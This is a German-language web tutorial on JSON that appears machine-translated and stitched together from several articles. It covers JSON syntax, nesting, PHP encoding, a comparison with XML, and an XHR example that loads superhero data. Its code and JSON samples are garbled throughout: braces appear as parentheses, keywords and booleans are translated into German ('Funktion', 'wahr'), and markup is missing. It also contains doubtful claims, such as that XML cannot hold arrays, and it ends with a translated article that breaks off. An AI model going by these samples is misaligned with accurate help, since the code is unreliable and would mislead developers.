Json-Abkürzungsdekodierung. Grundlagen der Arbeit mit JSON. Was ist JSON?

💖 Gefällt es dir? Teilen Sie den Link mit Ihren Freunden

Variablen, Arrays und Objekte sind eine bekannte und praktische Form der Datendarstellung. Es ist üblich, Daten in der Browsersprache JavaScript zu beschreiben, was in der PHP-Serversprache nicht notwendig ist. Das JSON-Format ermöglicht es Ihnen, sie zu einem Ganzen zusammenzufassen und sich nicht auf die Programmiersprache zu konzentrieren. In diesem Fall werden die Daten zu Paaren: „Name = Wert“. Der Wert in jedem von ihnen kann auch eine Sammlung solcher Paare sein.

Es ist üblich, JSON mit geschweiften Klammern zu verknüpfen, und letzteres ist durchaus berechtigt, da das JSON-Format = JavaScript Object Notation ist. In den letzten besonders dynamischen Jahren hat sich viel verändert. Was für einen bestimmten Zweck geschaffen wurde, brachte oft unerwartete Ergebnisse oder eröffnete neue Horizonte.

Datenaustausch: Browser – Server

Die AJAX-Technologie ist zur traditionellen, regelmäßigen Seitenaktualisierung geworden vollständig ist nicht mehr beliebt. Wenn ein Besucher eine Website öffnet, initiiert er eine Reihe teilweiser Datenaustausche, bei denen sich bestimmte Seiten nur an der relevanten Stelle ändern.

Es wird angenommen, dass die Entstehung von JSON mit der Verwendung von AJAX zusammenhängt, aber tatsächlich haben Assoziativ und seine Objektnotation (Merkmale der Syntax zur Beschreibung und Verwendung von Objekten) eine viel stärkere Beziehung zu JSON als der Datenaustausch zwischen dem Browser und dem Server.

Da der Inhalt der Seiten moderner Websites wirklich „massiv“ (umfangreich) geworden ist, hat die Effizienz des Formats für den Datenaustausch besondere Bedeutung erlangt. Das soll nicht heißen, dass JSON zu einer neuen Datendarstellung geworden ist, aber die Tatsache, dass es schon lange ein Element der JavaScript-Syntax ist, ist von Bedeutung.

Die Verwendung von Kyrillisch bei der Benennung von Variablen ist ein sehr unerwartetes Phänomen (Unsinn), funktioniert aber in den neuesten Versionen von Chrome, Firefox und sogar Internet Explorer 11.

Kyrillisch und JSON

Natürlich macht es keinen Sinn, dieses völlig unerwartete Phänomen zu verwenden, wenn man bedenkt, wie leicht die Werte von Variablen, die in russischen Buchstaben geschrieben sind, zu Unsinn werden: Was können wir über Namen sagen, insbesondere über externe?

Es ist fraglich, ob die Initiative in kyrillischen Namen von der externen Umgebung des Browsers unterstützt wird, mit der er ständig zu tun hat. Diese Tatsache verdient jedoch aus dem einfachen Grund Beachtung, dass das JSON-Format die Möglichkeit bietet, Namen und Werte so zu schreiben, wie es der Entwickler wünscht. Dies ist wichtig, da in jeder Aufgabe die Beschreibung des Anwendungsbereichs nach Bedarf die Fehlersuche deutlich vereinfacht und die Fehleranzahl reduziert.

Es spielt keine Rolle, was genau die Grundlage der syntaktischen Innovation – JSON – war, wichtig ist, dass sie das rechtliche Recht und die tatsächliche Möglichkeit gibt, die Entsprechung festzulegen: „jeder Name = jeder Wert“.

Wir müssen der JavaScript-Sprache Tribut zollen: Was die Syntax vorsieht, verpflichtet den Entwickler nicht und zwingt ihm nichts auf. Der Entwickler nutzt die Sprachsyntax frei, um ein Datenmodell und einen Algorithmus für deren Verwendung optimal zu gestalten.

PHP und JSON

Durch die Annahme von Daten im JSON-Format bietet der Server (insbesondere über PHP) die Möglichkeit, diese unverändert zu verarbeiten und das Ergebnis in einem ähnlichen Format an den Browser zurückzugeben. PHP-Quellarray:

  • $cJSON = Array („a“=> „alfa“, „b“=> „beta“, „g“=> „gamma“).

Zur Übermittlung an den Browser in JSON konvertieren:

  • $cJS = json_encode($cJSON).

Ergebnis:

  • („a“: „alfa“, „b“: „beta“, „g“: „gamma“).

Die auf dem Foto gezeigte Verschachtelung ist zulässig.

Hier wurde das generierte Array mit einem neuen Element „in sich selbst“ mit dem automatischen Index „0“ und dann wieder mit dem angegebenen Index „z“ hinzugefügt.

Json_decode() konvertiert einen JSON-String in ein PHP-Array. Ähnliche Ergebnisse können durch Manipulieren von Funktionen und explosion() erzielt werden. In manchen Fällen ist diese Option vorzuziehen.

Verschachtelungsebene

Elemente können sowohl browserseitig als auch serverseitig verschachtelt werden. In der Praxis bietet das JSON-Format (Standardbeschreibung RFC 4627) deutlich mehr als 4 Verschachtelungsebenen, diese Funktion sollte jedoch nicht missbraucht werden.

Es ist am besten, niemals über das angemessene Maß hinauszugehen; dadurch wird der Code lesbar und erleichtert das Debuggen und Verstehen für andere Entwickler.

JSON wird allgemein als Datenkonstrukt bezeichnet, das einfacher als XML und sowohl für Menschen als auch für Computer verständlich ist. Dies trifft zu, wenn die Datenmenge gering ist und der Entwickler die Verschachtelungsebene mit Bedacht gewählt hat. In allen anderen Fällen ist es sowohl auf der Browserseite als auch auf der Serverseite schwierig, die Anzahl der Klammern zu zählen und zu verstehen.

JSON-Dateien

Der Einsatz von JSON beschränkt sich in der Praxis oft nicht auf eine für Menschen lesbare kurze Zeichenfolge. Jede Datenkonstruktion ist immer pragmatisch. Gleichzeitig kann JSON effektiv sowohl in realen Aufgabendaten (Unternehmensmitarbeiter) als auch zur Implementierung temporärer Daten (Objekt-Cache) eingesetzt werden.

Unternehmensmitarbeiter und JSON-Format: Beispiel

Normalerweise besteht eine Aufzeichnung über eine Person aus einem Nachnamen, einem Vornamen, einem Vatersnamen, einem Geburtsjahr, einem Fachgebiet, einer Ausbildung usw. und einigen anderen einfachen Werten. Selbst in besonders anspruchsvollen Unternehmen wird ein Rekord von einer Person nicht mehr als ein Dutzend oder zwei Felder betragen. Dies ist wahrnehmbar und kann in einem Datenbankstring abgelegt werden.

Wenn ein Unternehmen mehrere Mitarbeiter beschäftigt, ist das eine Sache, wenn es Zehntausende sind, ist das eine ganz andere. Sie können die Datenbank weiterhin verwenden, die Speicherung als Datei erscheint jedoch praktischer und benutzerfreundlicher.

JSON ist eine reine Textdatei. Der Fall mit der Besetzungstabelle, egal was passiert. Man kann es immer lesen. Das Öffnen und Bearbeiten ist auch in jedem Texteditor möglich, der nicht die Angewohnheit hat, dem Inhalt der Datei eigene Serviceinformationen hinzuzufügen. Im Allgemeinen ist *.json sowohl im Browser als auch in der Datei reiner Text – ein String.

Das Foto zeigt den Cache des Objekts, das das Bild bildet, ein Beispiel.

Dies ist ein Beispiel für den Inhalt einer Datei, die von einer Website generiert wurde, die farbigen 3D-Druck auf Tassen und Keramik anbietet. Natürlich ist es bei einem solchen JSON-Format sehr problematisch zu entscheiden, wie man es öffnet. In diesem und ähnlichen Fällen gibt es jedoch keine Probleme beim Lesen der Datei: PHP liest die Datei, analysiert sie und übergibt sie an den Browser. Die vom Besucher geänderten Daten werden an den Server zurückgegeben und zurückgeschrieben.

In diesem Anwendungsfall fungiert die Datei als Variable, die außerhalb des Codes gespeichert wird. Bei Bedarf erhält die Variable einen Wert aus der Datei, und wenn sie vom Besucher im von der Site bereitgestellten Dialog geändert wird, werden alle Änderungen unverändert aufgezeichnet. Es ist nicht erforderlich, den Inhalt der Datei zu lesen und zu überprüfen.

JSON wird häufig zum Speichern und Verwenden von Serviceinformationen verwendet. Dabei handelt es sich nicht um eine Besetzungstabelle, und weder der Entwickler noch der Website-Besucher müssen sie sehen.

XML und JSON

„Alles hat seine Zeit“ ist ein klassisches Wissen, das bereits vor dem Aufkommen der Programmierung als Axiom galt. „Nichts erscheint einfach“ – das geschah auch, bevor der Mensch das erste verständliche Programm in einer künstlichen Sprache schrieb.

Datenformate entstehen aus realen Bedürfnissen und basieren auf erlangtem Wissen. HTML hat seinen eigenen Pfad, XML hat seinen eigenen Pfad und JSON ist eine auf andere Sprachen erweiterte JavaScript-Objektlogik. Ein Vergleich mit dem anderen ist nicht das Beste. Jedem das Seine.

XML meistert seine Aufgaben wunderbar und wird offensichtlich nicht zur Geschichte werden. Und JSON wurde bis 2006 verwendet; nur sah es nicht jeder Entwickler als seine Pflicht an, bestimmte Optionen zur Darstellung seiner Daten zu deklarieren.

In der Praxis gab es Fälle, in denen Programme in BASIC geschrieben wurden, die nicht JSON als solches verwendeten, sondern „Name = Wert“-Paare perfekt speicherten und sie den richtigen Algorithmen zur richtigen Zeit zur Verfügung stellten.

Sonderzeichen („`“, „~“, „|“, ...) und Datenformate

Die Gewohnheit, in JavaScript mit assoziativen Arrays und Objekten zu arbeiten, macht die Verwendung von JSON natürlich und bequem. Dies ist ein wirklich großartiges Format, aber die Fähigkeit, Strings und Arrays zu trennen und zu verbinden sowie Strings und Arrays zu manipulieren, hat viel tiefere Wurzeln.

Mit den Join/Split-Funktionen der JavaScript-Sprache und implode/explode der PHP-Sprache können Sie sowohl XML- als auch JSON-Datenformate und Ihre eigene Version bequem und effizient verwenden. Letzteres ist oft optimal, während die ersten beiden ideal für allgemeine Einsatzmöglichkeiten sind. Wenn Informationen an einen anderen Entwickler, Server, eine andere Datei oder Datenbank übertragen werden, gibt es keinen besseren Weg, XML und JSON zu finden. Jeder arbeitet mit ihnen, sodass die Übertragung/der Empfang von Informationen keine Kommentare erfordert.

Verwendung von JSON in Android

Das Lesen und Schreiben von Daten im JSON-Format in Android ist nicht nur die Norm, sondern es gibt auch viele Objekte, die sich auf die Arbeit mit diesem speziellen Datenformat konzentrieren.

In diesem Fall wird das JSON-Format verwendet. Das mag stimmen, aber die Frage ist nicht die Phänomenalität sozialer Netzwerke, sondern die Tatsache, dass die Darstellung von Informationen im Format „Name = Wert“ sowohl für die Programmierung als auch für die Nutzung wirklich praktisch ist. Im Gegensatz zum strengen und komplexen „XML“ ist dies wirklich ein benutzerfreundliches Format.

Assoziative Arrays

Es kommt vor, dass Variablen beschrieben werden müssen (JavaScript) oder zumindest ein Anfangswert angegeben werden muss (PHP). In beiden Fällen kann die Variable ihren Typ sehr leicht ändern. Die Sprache führt diese Konvertierung bei Bedarf automatisch durch.

Aber warum sollte die Variable nicht auch ihren Namen ändern, während der Ausführung des Algorithmus erscheinen und verschwinden, wenn sie nicht mehr benötigt wird? Assoziative Arrays lösen dieses Problem, aber wenn solche relativ dynamischen Variablen verwendet werden, folgen der Array-Name und die entsprechenden syntaktischen Konstrukte dem Ort, an dem sie verwendet werden.

Dieser Umstand ist in PHP besonders ausgeprägt, aber Sie können ihn in Kauf nehmen, wie beispielsweise mit dem „$“-Symbol im Variablennamen und der „$this->“-Kombination innerhalb des Objekts. Wenn man gleichzeitig in JavaScript und PHP programmiert, ist man zunächst wirklich erstaunt, wie unterschiedlich alles ist, aber dann wird alles so vertraut und natürlich ...

Assoziatives Array -> JSON

In diesem Beispiel wird ein *.docx-Dokument mit der PHPOffice/PHPWord-Bibliothek erstellt und das aProperties-Array enthält die Eigenschaften dieses Dokuments (Autor, Firma, Titel, Kategorie, Erstellungsdatum...).

Das zweite Array enthält Daten für die Seite:

  • Ausrichtung (Querformat oder Normal);
  • vertikale und horizontale Abmessungen;
  • Einzüge (Ränder links, oben, unten, rechts);
  • Kopf-und Fußzeilen.

Das Dokument wird auf dem Server generiert, auf dem die PHPOffice/PHPWord-Bibliothek installiert ist. Auf der Website können Sie die Werte dieser Arrays mithilfe von JavaScript verwalten. Das Ergebnis im JSON-Format wird an den Server zurückgegeben und in PHP-Algorithmen, in seinen Konstrukten, also in Arrays, verwendet.

Dynamische Variablen

Das JSON-Format löst das Problem dynamischer Variablen. Hier können Sie Variablen ohne unnötigen syntaktischen Aufwand erstellen, ändern und löschen. Es sieht gut aus und wird in JavaScript verwendet.

In diesem Beispiel ruft die Funktion GetOjInfo() den Wertnamen und den Wert von einem Objekt ab. Anfänglich besteht das der Variablen ojInfo zugewiesene JSON-Zeichenfolgenobjekt aus drei Elementen: Name, Alter und Arbeit. Etwas später wird die Variable Status hinzugefügt.

Nach dem ersten Löschoperator verliert die ojInfo-Zeile das Alterselement, nach dem zweiten Löschoperator verliert sie das Arbeitselement. Wenn wir davon ausgehen, dass es sich bei dieser Zeichenfolge um eine Auswahl von Variablen handelt, die eine bestimmte Bedeutung haben, können Sie mit JSON tatsächlich beliebige Mengen davon außerhalb des operativen Bereichs (Syntax) der Beschreibung und Verarbeitung der JavaScript-Sprache erstellen, ändern und löschen.

Das JSON-Format wurde für diese Option nicht konzipiert, ist aber möglich, praktisch und bequem.

JSON (JavaScript Object Notation) ist ein Datenübertragungsformat. Wie der Name schon sagt, basiert das Format auf der Programmiersprache JavaScript, es ist aber auch in anderen Sprachen (Python, Ruby, PHP, Java) verfügbar.

JSON verwendet die Erweiterung .json. Bei Verwendung in anderen Dateiformaten (z. B. .html) wird die JSON-Zeichenfolge in Anführungszeichen gesetzt oder einer Variablen zugewiesen. Dieses Format lässt sich problemlos zwischen dem Webserver und dem Client oder Browser übertragen.

JSON ist leichtgewichtig und leicht verständlich und eine großartige Alternative zu XML.

Dieses Tutorial führt Sie in die Vorteile, Objekte, allgemeine Struktur und Syntax von JSON ein.

JSON-Syntax und -Struktur

Ein JSON-Objekt liegt in Schlüsselwertform vor und wird normalerweise in geschweiften Klammern geschrieben. Bei der Arbeit mit JSON werden alle Objekte in einer .json-Datei gespeichert, sie können aber auch als separate Objekte im Kontext des Programms existieren.

Das JSON-Objekt sieht folgendermaßen aus:

„Vorname“: „John“,
„last_name“: „Smith“,
„Standort“: „London“,
„online“: wahr,
„Follower“: 987

Dies ist ein sehr einfaches Beispiel. Ein JSON-Objekt kann viele Zeilen enthalten.

Wie Sie sehen, besteht ein Objekt aus Schlüssel-Wert-Paaren, die in geschweifte Klammern eingeschlossen sind. Die meisten Daten in JSON werden als Objekte geschrieben.

Zwischen Schlüssel und Wert wird ein Doppelpunkt gesetzt. Nach jedem Paar müssen Sie ein Komma setzen. Das Ergebnis ist:

„key“: „value“, „key“: „value“, „key“: „value“

Der JSON-Schlüssel befindet sich auf der linken Seite. Der Schlüssel muss in doppelte Anführungszeichen gesetzt werden. Als Schlüssel kann jede gültige Zeichenfolge verwendet werden. Innerhalb eines Objekts müssen alle Schlüssel eindeutig sein. Der Schlüssel kann ein Leerzeichen („Vorname“) enthalten, die Programmierung kann jedoch Probleme beim Zugriff auf einen solchen Schlüssel haben. Daher ist es besser, anstelle eines Leerzeichens einen Unterstrich („Vorname“) zu verwenden.

Die JSON-Werte stehen auf der rechten Seite der Spalte. Als Wert kann jeder einfache Datentyp verwendet werden:

  • Saiten
  • Zahlen
  • Objekte
  • Arrays
  • Boolesche Daten (wahr oder falsch)

Werte können auch durch komplexe Datentypen (zum Beispiel Objekte oder JSON-Arrays) dargestellt werden.

JSON unterstützt eine individuelle Syntax für jeden der oben aufgeführten Datentypen: Wenn der Wert durch eine Zeichenfolge dargestellt wird, wird er in Anführungszeichen gesetzt, wenn es sich jedoch um eine Zahl handelt, ist dies nicht der Fall.

Normalerweise werden Daten in JSON-Dateien in eine Spalte geschrieben, JSON kann jedoch auch in eine Zeile geschrieben werden:

(„Vorname“: „John“, „Nachname“: „Smith“, „online“: wahr,)

Auf diese Weise werden JSON-Daten normalerweise in andere Dateitypen geschrieben.

Durch das Schreiben von JSON-Daten in eine Spalte verbessern Sie die Lesbarkeit der Datei (insbesondere, wenn die Datei viele Daten enthält). JSON ignoriert Leerzeichen zwischen Spalten, sodass Sie diese verwenden können, um Ihre Daten in eine überschaubare Anzahl von Spalten aufzuteilen.

„Vorname“: „John“,
„last_name“: „Smith“,
„online“: wahr

Beachten Sie, dass JSON-Objekte JavaScript-Objekten sehr ähnlich sind, aber nicht dasselbe Format haben. Beispielsweise können Sie Funktionen in JavaScript verwenden, jedoch nicht in JSON.

Der Hauptvorteil von JSON besteht darin, dass Daten in diesem Format von vielen gängigen Programmiersprachen unterstützt werden und daher schnell übertragen werden können.

Sie sind jetzt mit der grundlegenden JSON-Syntax vertraut. JSON-Dateien können jedoch komplexe, hierarchische Strukturen aufweisen, die verschachtelte Arrays und Objekte enthalten.

Komplexe Typen in JSON

JSON kann verschachtelte Objekte und Arrays speichern, die als Wert des ihnen zugewiesenen Schlüssels übergeben werden.

Verschachtelte Objekte

Nachfolgend finden Sie ein Beispiel – die Datei „users.json“, die Benutzerdaten enthält. Für jeden Benutzer

(„john“, „jesse“, „drew“, „jamie“) wird ein verschachteltes Objekt als Wert übergeben, das wiederum aus Schlüsseln und Werten besteht.

Hinweis: Das erste verschachtelte JSON-Objekt wird rot hervorgehoben.

"John" :(
„Benutzername“: „John“,
„Standort“: „London“,
„online“: wahr,
„Follower“: 987

„Jesse“ :(
„Benutzername“: „Jesse“,
„Standort“: „Washington“,
„online“: falsch,
„Follower“: 432

„gezeichnet“ :(
„Benutzername“: „Drew“,
„Standort“: „Paris“,
„online“: falsch,
„Follower“: 321

„Jamie“ :(
„Benutzername“: „Jamie“,
„Standort“: „Berlin“,
„online“: wahr,
„Follower“: 654

Beachten Sie, dass sowohl im verschachtelten Objekt als auch im Hauptobjekt geschweifte Klammern verwendet werden. Kommas in verschachtelten Objekten werden auf die gleiche Weise verwendet wie in regulären Objekten.

Verschachtelte Arrays

Daten können mithilfe von JavaScript-Arrays, die als Werte übergeben werden, in JSON verschachtelt werden. JavaScript verwendet eckige Klammern () am Anfang und Ende eines Arrays. Ein Array ist eine geordnete Sammlung von Daten, die verschiedene Datentypen enthalten kann.

Ein Array dient der Übertragung einer großen Datenmenge, die gruppiert werden kann. Versuchen wir zum Beispiel, Benutzerdaten aufzuzeichnen.

{
„Vorname“: „John“,
„last_name“: „Smith“,
„Standort“: „London“,
"Websites" : [

„Beschreibung“: „Arbeit“,
„URL“: „https://www.johnsmithsite.com/“

},
{

„Beschreibung“: „Tutorials“,
„URL“: „https://www.johnsmithsite.com/tutorials“

"sozialen Medien" : [

„Beschreibung“: „Twitter“,
„Link“: „https://twitter.com/johnsmith“

„Beschreibung“: „Facebook“,
„Link“: „https://www.facebook.com/johnsmith“

„Beschreibung“: „Github“,
„Link“: „https://github.com/johnsmith“

Den Schlüsseln „websites“ und „social_media“ werden Arrays als Werte zugewiesen, die in eckige Klammern gesetzt werden.

Mithilfe verschachtelter Arrays und Objekte können Sie eine komplexe Datenhierarchie erstellen.

JSON oder XML?

Mit XML (eXtensible Markup Language) können Sie Daten in einer für Mensch und Maschine leicht verständlichen Form speichern. Das XML-Format wird von einer Vielzahl von Programmiersprachen unterstützt.

XML und JSON haben viele Gemeinsamkeiten. Allerdings erfordert XML viel mehr Text, was bedeutet, dass solche Dateien größer und schwieriger zu lesen und zu schreiben sind. Darüber hinaus wird XML nur mit einem XML-Interpreter verarbeitet, während JSON mit einer einfachen Funktion verarbeitet werden kann. Im Gegensatz zu JSON kann XML keine Arrays speichern.

Vergleichen wir zwei Dateien: Sie enthalten dieselben Daten, aber die erste ist im XML-Format und die zweite in JSON geschrieben.

user.xml

John London

Jesse Washington

Zeichnete Paris

Jamie Berlin

user.json
("Benutzer": [

(„Benutzername“: „John“, „Standort“: „London“),
(„Benutzername“: „Jesse“, „Standort“: „Washington“),
(„Benutzername“: „Drew“, „Standort“: „Paris“),
(„Benutzername“: „JamieMantisShrimp“, „Standort“: „Berlin“)

JSON ist ein sehr kompaktes Format und erfordert nicht so viele Tags wie XML. Darüber hinaus unterstützt XML im Gegensatz zu JSON keine Arrays.

Wenn Sie mit HTML vertraut sind, werden Sie feststellen, dass das XML-Format diesem sehr ähnlich ist (insbesondere die Tags). JSON ist einfacher, erfordert weniger Text und lässt sich beispielsweise einfacher in AJAX-Anwendungen verwenden.

Natürlich muss das Format je nach den Anforderungen der Anwendung gewählt werden.

Tools für JSON

JSON wird häufig in JavaScript verwendet, das Format ist jedoch auch in anderen Programmiersprachen weit verbreitet.

Weitere Informationen zur JSON-Kompatibilität und -Verarbeitung finden Sie auf der Projektwebsite und in der jQuery-Bibliothek.

Es kommt selten vor, JSON von Grund auf zu schreiben. Typischerweise werden Daten aus der Quelle geladen oder in JSON konvertiert. Sie können CSV- oder tabulatorgetrennte Daten mit dem Open-Source-Tool Mr. in JSON konvertieren. Datenkonverter. Um XML in JSON und umgekehrt zu konvertieren, verwenden Sie utilities-online.info. Überprüfen Sie beim Arbeiten mit automatischen Werkzeugen unbedingt die Ergebnisse.

JSON-Dateien (einschließlich konvertierter Daten) können mit dem JSONLint-Dienst überprüft werden. Informationen zum Testen von JSON in einem Webentwicklungskontext finden Sie unter JSFiddle.

Abschluss

JSON ist ein einfaches und leichtes Datenformat. JSON-Dateien lassen sich einfach übertragen, speichern und verwenden.

Heutzutage wird JSON häufig in APIs verwendet.

JavaScript Object Notation (JSON) ist ein Standardtextformat zur Darstellung strukturierter Daten basierend auf der JavaScript-Objektsyntax. Es wird häufig für die Datenübertragung in Webanwendungen verwendet (zum Beispiel das Senden einiger Daten vom Server an den Client, damit sie auf einer Webseite angezeigt werden können oder umgekehrt). Das wird Ihnen ziemlich oft passieren, deshalb geben wir Ihnen in diesem Artikel alles, was Sie brauchen, um mit JSON mithilfe von JavaScript zu arbeiten, einschließlich der Analyse von JSON, damit Sie auf die darin enthaltenen Daten zugreifen und JSON erstellen können.

Nein, wirklich, was ist JSON?

Wir laden es auf unsere Seite und rendern es mithilfe einiger netter DOM-Manipulationen, etwa so:

JSON wird empfangen

Um den JSON zu empfangen, verwenden wir eine API namens XMLHttpRequest (oft als XHR bezeichnet). Dies ist ein sehr nützliches JavaScript-Objekt, das es uns ermöglicht, Netzwerkanfragen zu stellen, um Ressourcen vom Server über JavaScript abzurufen (z. B. Bilder, Text, JSON, sogar HTML-Snippets), was bedeutet, dass wir kleine Inhaltsabschnitte aktualisieren können, ohne die gesamte Seite neu laden zu müssen . Dies hat zu reaktionsschnelleren Webseiten geführt und hört sich spannend an, geht aber leider über den Rahmen dieses Artikels hinaus, um es ausführlicher zu behandeln.

  • Beginnen wir damit, dass wir die JSON-URL, die wir empfangen möchten, in einer Variablen speichern. Fügen Sie den folgenden JavaScript-Code hinzu: var requestURL = "https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json";
  • Um eine Anfrage zu erstellen, müssen wir mithilfe des Schlüsselworts new eine neue Anfrageobjektinstanz aus dem XMLHttpRequest-Konstruktor erstellen. Fügen Sie als letzte Zeile Folgendes hinzu: var request = new XMLHttpRequest();
  • Jetzt müssen wir eine neue Anfrage mit der öffnen. Fügen Sie die folgende Zeile hinzu: request.open("GET", requestURL);

    Dies erfordert mindestens zwei Parameter – es sind noch weitere Parameter verfügbar. Für dieses einfache Beispiel benötigen wir nur zwei:

    • Die HTTP-Methode, die bei einer Netzwerkanfrage verwendet werden soll. Dieser Fall ist in Ordnung, da wir nur einige einfache Daten abrufen.
    • Die URL für die Anfrage ist die URL der JSON-Datei, die wir zuvor gespeichert haben.
  • Fügen Sie dann die folgenden zwei Zeilen hinzu: Hier stellen wir auf JSON ein, damit XHR weiß, dass der Server JSON zurückgibt und dass dies im Hintergrund in ein JavaScript-Objekt konvertiert werden soll. Dann senden wir die Anfrage mit der Methode: request.responseType = "json"; request.send();
  • Der letzte Teil dieses Abschnitts besteht darin, auf eine Antwort vom Server zu warten und diese dann zu verarbeiten. Fügen Sie den folgenden Code unter Ihrem vorherigen Code hinzu: request.onload = function() ( var superHeroes = request.response; populateHeader(superHeroes); showHeroes(superHeroes); )
  • Hier speichern wir die Antwort auf unsere Anfrage (verfügbar in der Eigenschaft) in der SuperHeroes-Variable; Diese Variable enthält jetzt ein JSON-basiertes JavaScript-Objekt! Anschließend übergeben wir dieses Objekt an zwei Funktionsaufrufe – der erste füllt es mit den richtigen Daten und der zweite erstellt eine Infokarte für jeden Helden im Team und fügt sie in ein.

    Wir haben den Code in einen Ereignishandler eingebunden, der ausgelöst wird, wenn das Ladeereignis auf dem Anforderungsobjekt ausgelöst wird (siehe). Dies liegt daran, dass das Ladeereignis ausgelöst wird, wenn die Antwort erfolgreich zurückgegeben wird. Dadurch wird sichergestellt, dass „request.response“ auf jeden Fall verfügbar ist, wenn wir versuchen, etwas dagegen zu unternehmen.

    Header-Füllung

    Jetzt haben wir die JSON-Daten extrahiert und in ein JavaScript-Objekt umgewandelt. Lassen Sie uns es nutzen, indem wir die beiden oben verknüpften Funktionen schreiben. Fügen Sie zunächst die folgende Funktionsdefinition unterhalb des vorherigen Codes hinzu:

    Funktion populateHeader(jsonObj) ( var myH1 = document.createElement("h1"); myH1.textContent = jsonObj["squadName"]; header.appendChild(myH1); var myPara = document.createElement("p"); myPara. textContent = "Heimatstadt: " + jsonObj["homeTown"] + " // Gebildet: " + jsonObj["formed"];

    Wir haben den Parameter jsonObj benannt, um uns daran zu erinnern, dass dieses JavaScript-Objekt von JSON stammt. Hier erstellen wir zunächst ein Element mit , setzen es auf die Eigenschaft „squadName“ des Objekts und fügen es dann mit zum Header hinzu. Anschließend führen wir einen ganz ähnlichen Vorgang mit einem Absatz durch: Wir erstellen ihn, legen seinen Textinhalt fest und fügen ihn der Überschrift hinzu. Der einzige Unterschied besteht darin, dass der Text als verkettete Zeichenfolge angegeben wird, die sowohl die Eigenschaften „homeTown“ als auch „formed“ des Objekts enthält.

    Erstellen von Heldeninformationskarten

    Fügen Sie dann am Ende des Codes die folgende Funktion hinzu, die die Superheldenkarten erstellt und anzeigt:

    Funktion showHeroes(jsonObj) ( var heros = jsonObj["members"]; for (var i = 0; i< heroes.length; i++) { var myArticle = document.createElement("article"); var myH2 = document.createElement("h2"); var myPara1 = document.createElement("p"); var myPara2 = document.createElement("p"); var myPara3 = document.createElement("p"); var myList = document.createElement("ul"); myH2.textContent = heroes[i].name; myPara1.textContent = "Secret identity: " + heroes[i].secretIdentity; myPara2.textContent = "Age: " + heroes[i].age; myPara3.textContent = "Superpowers:"; var superPowers = heroes[i].powers; for (var j = 0; j < superPowers.length; j++) { var listItem = document.createElement("li"); listItem.textContent = superPowers[j]; myList.appendChild(listItem); } myArticle.appendChild(myH2); myArticle.appendChild(myPara1); myArticle.appendChild(myPara2); myArticle.appendChild(myPara3); myArticle.appendChild(myList); section.appendChild(myArticle); } }

    Speichern wir zunächst die Members-Eigenschaft des JavaScript-Objekts in einer neuen Variablen. Dieses Array enthält mehrere Objekte, die Informationen für jeden Helden enthalten.

    Anschließend durchlaufen wir jedes Objekt im Array. Für jeden von ihnen haben wir:

  • Wir erstellen mehrere neue Elemente: , , drei

    UND

      .
    • Wird so festgelegt, dass es den Namen des aktuellen Helden enthält.
    • Füllen Sie drei Absätze mit Ihrer geheimen Identität, Ihrem Alter und einer Zeile mit der Aufschrift „Superkräfte:“ aus, um die Informationen in die Liste einzutragen.
    • Wir speichern die Eigenschaft powers in einer weiteren neuen Variablen namens superPowers – diese enthält ein Array, das die Superkräfte des aktuellen Helden auflistet.
    • Wir verwenden eine weitere for-Schleife, um durch die Superkräfte des aktuellen Helden zu blättern – für jede von ihnen erstellen wir ein Element
    • , fügen Sie die Superkräfte ein und fügen Sie dann das listItem in das Element ein
        (myList) mit appendChild() .
      • Als letztes fügen wir hinzu:

        UND

          hinein (myArticle) und fügen Sie es dann der hinzu. Die Reihenfolge, in der Dinge hinzugefügt werden, ist wichtig, da sie in dieser Reihenfolge im HTML erscheinen.

          Notiz: Wenn Sie Schwierigkeiten haben, die Punkt-/Klammernotation zu befolgen, die wir für den Zugriff auf ein JavaScript-Objekt verwenden, kann es hilfreich sein, die Datei superheroes.json in einem anderen Tab oder Texteditor zu öffnen und beim Betrachten unseres JavaScript darauf zu verweisen. Weitere Informationen zur Punkt- und Klammernotation finden Sie auch in unserem Artikel.

          Konvertieren Sie zwischen Objekten und Text

          Das obige Beispiel war hinsichtlich des Zugriffs auf ein JavaScript-Objekt einfach, da wir eine XHR-Anfrage angegeben haben, um die JSON-Antwort mithilfe von direkt in ein JavaScript-Objekt zu konvertieren.

          • Übersetzung

          Hinweis: Nachfolgend finden Sie eine Übersetzung des Übersichtsartikels „JSON vs XML“, der sich mit JSON und seinem Vergleich mit XML anhand einer Reihe von Kriterien befasst. Veröffentlicht, um JSON bei Habrahabr-Lesern bekannt zu machen.

          JSON (JavaScript Object Notation) ist ein Datenaustauschformat, das von Menschen leicht gelesen, von Programmen leicht verarbeitet und generiert werden kann.

          Basierend auf einer Teilmenge der JavaScript-Sprache, Standard ECMA-262, 3. Auflage – Dezember 1999.


          JSON – Wikipedia

          Was ist das richtige Antwortformat für XMLHttpRequest in AJAX-Anwendungen? Für die meisten Markup-basierten Anwendungen ist die Antwort einfach: (X)HTML. Für informationszentrierte Anwendungen wird die Wahl zwischen XML und JSON liegen. Bis vor kurzem habe ich mich nicht wirklich gefragt, was besser zu verwenden ist: XML oder JSON. Ich bin einfach davon ausgegangen, dass es sich im Einzelfall lohnt, das am besten geeignete Format zu wählen, und das ist alles. Aber kürzlich hatte ich die Gelegenheit, diesen Ansatz in der Praxis zu testen. In diesem Beitrag beschreibe ich die Kriterien, nach denen ich den Vergleich zwischen XML und JSON durchgeführt habe, und meine eigenen Schlussfolgerungen.

          Die Kriterien sind also wie folgt.

          • Lesbarkeit des Codes.
          • Einfache Erstellung eines serverseitigen Datenobjekts.
          • Einfache Datenverarbeitung auf Client-Seite.
          • Einfach zu erweitern.
          • Debugging und Fehlerkorrektur.
          • Sicherheit.
          Lesbarkeit des Codes

          Person person = neue Person(); person.setFirstName("Subbu"); person.setLastName("Allamaraju"); write.write(JSONObject.fromObject(person).toString());

          Wenn man die Funktionsweise solcher Programmierschnittstellen betrachtet, unterscheidet sich die Erstellung von JSON nicht wesentlich von der Serialisierung von Java-Beans in Objekte. Es ist jedoch erwähnenswert, dass es mittlerweile viel mehr Möglichkeiten gibt, XML als JSON zu generieren. Einige dieser XML-APIs gibt es schon seit vielen Jahren und sind aus diesem Grund möglicherweise stabiler, wenn sie für komplexe Anwendungen verwendet werden.

